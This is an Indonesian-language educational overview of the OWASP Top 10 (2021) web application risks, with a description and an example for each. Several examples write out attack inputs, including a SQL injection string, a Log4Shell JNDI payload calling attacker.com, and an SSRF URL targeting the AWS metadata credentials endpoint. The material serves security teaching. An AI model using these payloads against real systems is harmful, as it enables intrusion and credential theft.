OWASP Top 10 (2021)
OWASP Top 10 adalah daftar risiko keamanan aplikasi web yang paling kritis, diperbarui oleh Open Web Application Security Project (OWASP) setiap beberapa tahun. Versi 2021 membawa perubahan signifikan dengan pendekatan berbasis data dari lebih dari 500.000 aplikasi. Berikut adalah sepuluh risiko utama beserta deskripsi dan contohnya.
A01 - Broken Access Control (Kontrol Akses Rusak)
Kontrol akses yang tidak diterapkan dengan benar memungkinkan pengguna melakukan tindakan di luar wewenang mereka. Ini adalah risiko paling umum dan paling kritis dalam OWASP Top 10 2021.
Deskripsi: Kelemahan ini terjadi ketika aplikasi tidak memvalidasi hak akses pengguna sebelum mengizinkan akses ke resource tertentu. Contohnya termasuk mengakses data pengguna lain dengan mengubah ID di URL (IDOR), privilege escalation, atau melewati pemeriksaan akses.
Contoh: Sebuah aplikasi perbankan menampilkan detail
transaksi di /api/transactions?id=12345. Seorang
pengguna mengganti id=12345 menjadi
id=12346 dan berhasil melihat transaksi milik pengguna
lain karena server tidak memverifikasi kepemilikan data.
A02 - Cryptographic Failures (Kegagalan Kriptografi)
Sebelumnya bernama Sensitive Data Exposure, risiko ini berfokus pada kegagalan dalam perlindungan data sensitif melalui enkripsi yang lemah atau tidak ada sama sekali.
Deskripsi: Data sensitif seperti password, nomor kartu kredit, dan data pribadi harus dienkripsi baik saat transit maupun saat disimpan. Kegagalan terjadi ketika menggunakan algoritma enkripsi yang usang (seperti MD5, SHA-1, atau RC4), kunci enkripsi yang lemah, atau tidak mengenkripsi data sama sekali.
Contoh: Sebuah situs e-commerce menyimpan password pengguna dalam bentuk plaintext di database. Ketika database bocor, semua password pengguna terekspos secara langsung tanpa perlu di-decrypt.
A03 - Injection (Injeksi)
Injeksi terjadi ketika data yang tidak tepercaya dikirim ke interpreter sebagai bagian dari perintah atau query, menipu interpreter untuk menj mengeksekusi perintah yang tidak diinginkan.
Deskripsi: Bentuk injeksi yang paling umum adalah SQL Injection, NoSQL Injection, OS Command Injection, dan LDAP Injection. Serangan ini terjadi ketika input pengguna tidak divalidasi atau disanitasi dengan benar sebelum diproses oleh interpreter.
Contoh: Sebuah form login menjalankan query:
SELECT * FROM users WHERE username='admin' AND password='input_pengguna'.
Penyerang memasukkan password:
' OR '1'='1, sehingga query
menjadi:
SELECT * FROM users WHERE username='admin' AND password='' OR '1'='1',
yang selalu mengembalikan true dan memberikan akses tanpa password
yang benar.
A04 - Insecure Design (Desain Tidak Aman)
Risiko ini baru dalam Top 10 2021, berfokus pada kelemahan dalam desain arsitektur aplikasi sebelum kode ditulis.
Deskripsi: Insecure Design berbeda dari implementation flaw - ini adalah kelemahan konseptual dalam desain. Contohnya termasuk kurangnya threat modeling, kontrol akses yang tidak dirancang dengan baik, atau alur bisnis yang dapat dieksploitasi.
Contoh: Aplikasi marketplace memungkinkan pembeli dan penjual berkomunikasi melalui chat internal. Namun, desainnya tidak membatasi pengiriman file - penyerang dapat mengirim file berbahaya melalui chat, dan sistem akan menerimanya karena tidak ada validasi tipe file dari sisi desain.
A05 - Security Misconfiguration (Konfigurasi Keamanan Salah)
Konfigurasi keamanan yang salah adalah risiko yang sangat umum dan dapat terjadi di berbagai lapisan aplikasi.
Deskripsi: Ini mencakup pengaturan default yang tidak aman, akun default dengan password standar yang tidak diubah, informasi berlebihan dalam pesan error (stack trace), header keamanan HTTP yang tidak dikonfigurasi (CORS, CSP, HSTS), dan direktori yang tidak dilindungi.
Contoh: Sebuah aplikasi Django baru di-deploy ke
production tanpa mengubah DEBUG=True pada pengaturan.
Ketika terjadi error, penyerang melihat stack trace lengkap yang
mengungkapkan struktur direktori, koneksi database, dan konfigurasi
internal aplikasi.
A06 - Vulnerable & Outdated Components (Komponen Rentan & Usang)
Aplikasi modern bergantung pada library, framework, dan dependency pihak ketiga. Komponen yang usang menjadi vektor serangan yang signifikan.
Deskripsi: Risiko ini muncul ketika tim pengembangan tidak memantau dan memperbarui dependency secara rutin. CVE (Common Vulnerabilities and Exposures) yang sudah diketahui publik dapat dieksploitasi jika komponen tidak di-patch. Termasuk juga penggunaan OS, server web, dan library yang sudah tidak didukung (end-of-life).
Contoh: Aplikasi menggunakan Log4j versi 2.14.1 yang
memiliki kerentanan Log4Shell (CVE-2021-44228). Penyerang mengirim
string khusus $${jndi:ldap://attacker.com/a} melalui
header User-Agent, yang memicu eksekusi kode jarak jauh pada server.
A07 - Identification & Authentication Failures (Kegagalan Identifikasi & Autentikasi)
Sebelumnya bernama Broken Authentication, risiko ini mencakup kegagalan dalam mengelola identitas dan proses autentikasi pengguna.
Deskripsi: Masalah umum termasuk credential stuffing (menggunakan password yang bocor dari situs lain), tidak adanya rate limiting pada form login, session ID yang dapat ditebak, session timeout yang tidak ada, dan pengiriman kredensial melalui koneksi tidak terenkripsi.
Contoh: Sebuah aplikasi tidak memiliki rate limiting pada endpoint login. Penyerang menggunakan bot untuk melakukan brute-force attack dengan daftar 10.000 password umum. Tanpa pembatasan percobaan login, akun admin dengan password lemah "admin123" berhasil diretas dalam hitungan menit.
A08 - Software & Data Integrity Failures (Kegagalan Integritas Software & Data)
Risiko baru di 2021 yang berfokus pada asumsi integritas yang salah - saat software atau data berasal dari sumber yang tidak tepercaya.
Deskripsi: Ini mencakup penggunaan plugin atau library dari sumber tidak tepercaya, pipeline CI/CD yang tidak aman, serta tidak memverifikasi tanda tangan digital dari pembaruan software. Supply chain attack termasuk dalam kategori ini.
Contoh: Pengembang menggunakan library populer dari npm registry tanpa memeriksa integritasnya. Library tersebut ternyata adalah typosquatting - nama yang mirip dengan library asli tetapi mengandung malware yang mencuri environment variables termasuk kredensial cloud production.
A09 - Security Logging & Monitoring Failures (Kegagalan Logging & Monitoring Keamanan)
Tanpa logging dan monitoring yang memadai, serangan dapat berlangsung tanpa terdeteksi selama berbulan-bulan.
Deskripsi: Kegagalan mencakup tidak mencatat event keamanan yang relevan (login gagal, akses tidak sah), format log yang tidak konsisten, log yang tidak dilindungi dari modifikasi atau penghapusan, dan tidak adanya sistem alerting untuk anomali.
Contoh: Seorang penyerang berhasil mengeksploitasi kerentanan SQL Injection dan mulai mengekstrak data pelanggan secara perlahan selama 3 bulan. Tim keamanan tidak menyadari serangan ini karena tidak ada logging pada query database yang gagal, tidak ada monitoring traffic mencurigakan, dan tidak ada alert untuk ekspor data dalam jumlah besar.
A10 - Server-Side Request Forgery (SSRF)
SSRF terjadi ketika penyerang memanipulasi permintaan yang dibuat oleh server aplikasi ke resource internal.
Deskripsi: Aplikasi yang mengambil URL dari input
pengguna dan melakukan request ke URL tersebut rentan terhadap SSRF.
Penyerang dapat memaksa server untuk mengakses resource internal
seperti localhost, subnet internal, atau layanan cloud metadata
(contoh: AWS 169.254.169.254).
Contoh: Aplikasi memiliki fitur yang memproses
gambar dari URL yang diberikan pengguna:
https://app.com/fetch-image?url=https://example.com/image.jpg.
Penyerang mengubah URL menjadi
http://169.254.169.254/latest/meta-data/iam/security-credentials/admin,
yang menyebabkan server mengakses metadata AWS dan mengembalikan
kredensial IAM sementara yang seharusnya tidak dapat diakses dari
luar.
Kesimpulan
OWASP Top 10 2021 memberikan panduan penting bagi pengembang dan tim keamanan untuk memprioritaskan upaya mitigasi risiko. Memahami dan menerapkan perlindungan terhadap sepuluh risiko ini adalah langkah fundamental dalam membangun aplikasi web yang aman.